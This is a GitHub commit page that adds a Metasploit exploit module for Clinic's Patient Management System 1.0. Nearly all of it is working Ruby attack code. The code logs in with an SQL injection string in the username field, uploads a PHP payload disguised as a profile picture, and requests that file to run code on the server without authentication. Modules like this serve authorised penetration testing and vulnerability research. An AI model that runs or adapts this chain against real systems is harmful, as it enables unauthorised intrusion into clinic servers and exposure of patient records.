Skip to content

Commit

Permalink
Clinic Pacient Management System SQLi to RCE module
Browse files Browse the repository at this point in the history
  • Loading branch information
msutovsky-r7 committed Feb 5, 2025
1 parent f22295b commit b42d8e3
Showing 1 changed file with 176 additions and 0 deletions.
176 changes: 176 additions & 0 deletions modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,176 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE',
'Description' => %q{
This module exploits an SQL injection in login portal, which allows to log in as admin. Next, it allows the attacker to upload malicious files through user modification to achieve RCE.
},
'Author' => [
'msutovsky-r7'
],
'License' => MSF_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Privileged' => false,
'Targets' => [
['Clinic Patient Management System 1.0', {}]
],
'DefaultTarget' => 0,
'References' => [
['URL', 'https://www.exploit-db.com/exploits/50439'],
['URL', ' https://medium.com/@Pablo0xSantiago/clinic-management-system-1-0-sql-injection-bypass-to-remote-code-execution-804bceac037e']
],
'DisclosureDate' => '2021-10-21',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']),
OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false])
])
end

def check
print_status('Checking if target is vulnerable...')

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path + '/'),
'method' => 'GET'
})

return Exploit::CheckCode::Unknown('Unexpected response code from server') unless res&.code == 200
return Exploit::CheckCode::Unknown('Unexpected content of body') if res.body&.blank?
return Exploit::CheckCode::Safe('Clinic PMS not detected') unless res.body.include?("Clinic's Patient Management System in PHP")

return Exploit::CheckCode::Vulnerable('Clinic PMS detected')
end

def login_sqli
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path + '/index.php'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' =>
{
user_name: "' or '1'='1' LIMIT 1;--",
password: '',
login: ''
}
})

fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('location')

fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['location'] == 'dashboard.php'
print_status('Logged using SQL injection..')
end

def upload_payload
username = Rex::Text.rand_text_alphanumeric(8)
password = Rex::Text.rand_text_alphanumeric(8)
filename = Rex::Text.rand_text_alphanumeric(8) + '.php'

boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(16)}"

data_post = "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"hidden_id\"\r\n\r\n"
data_post << "1\r\n"
data_post << "--#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"display_name\"\r\n\r\n"
data_post << "#{username}\r\n"
data_post << "--#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
data_post << "#{username}\r\n"
data_post << "--#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
data_post << "#{password}\r\n"
data_post << "--#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"profile_picture\"; filename=\"#{filename}\"\r\n"
data_post << "Content-Type: application/x-php\r\n\r\n"
data_post << "#{payload.encoded}\r\n"
data_post << "--#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"save_user\"\r\n\r\n"
data_post << "\r\n"
data_post << "--#{boundary}--\r\n"

res = send_request_cgi({
'uri' => normalize_uri('/pms/update_user.php?user_id=1'),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data_post
})

fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')

fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['Location'] == 'congratulation.php?goto_page=users.php&message=user update successfully'
print_status('Malicious file uploaded..')
end

def logout
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path + '/logout.php'),
'method' => 'GET'
})
fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')

fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['Location'] == 'index.php'
print_status('Logged out..')
@cookie_jar.clear
end

def trigger_payload
logout
login_sqli

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path + '/update_user.php?user_id=1'),
'method' => 'GET',
'keep_cookies' => true
})

fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 200
fail_with Failure::UnexpectedReply, 'Unexpected content of body' if res.body&.blank?
html_document = res.get_html_document
payload_path = html_document.xpath('//img[@alt="User Image"]/@src')&.text

fail_with Failure::PayloadFailed, 'Cannot find path to payload' if payload_path.blank?

send_request_cgi({
'uri' => normalize_uri(target_uri.path + '/' + payload_path),
'method' => 'GET',
'keep_cookies' => true
})
register_file_for_cleanup(payload_path) if datastore['DELETE_FILES']
end

def exploit
login_sqli
upload_payload
trigger_payload
end
end

0 comments on commit b42d8e3

Please sign in to comment.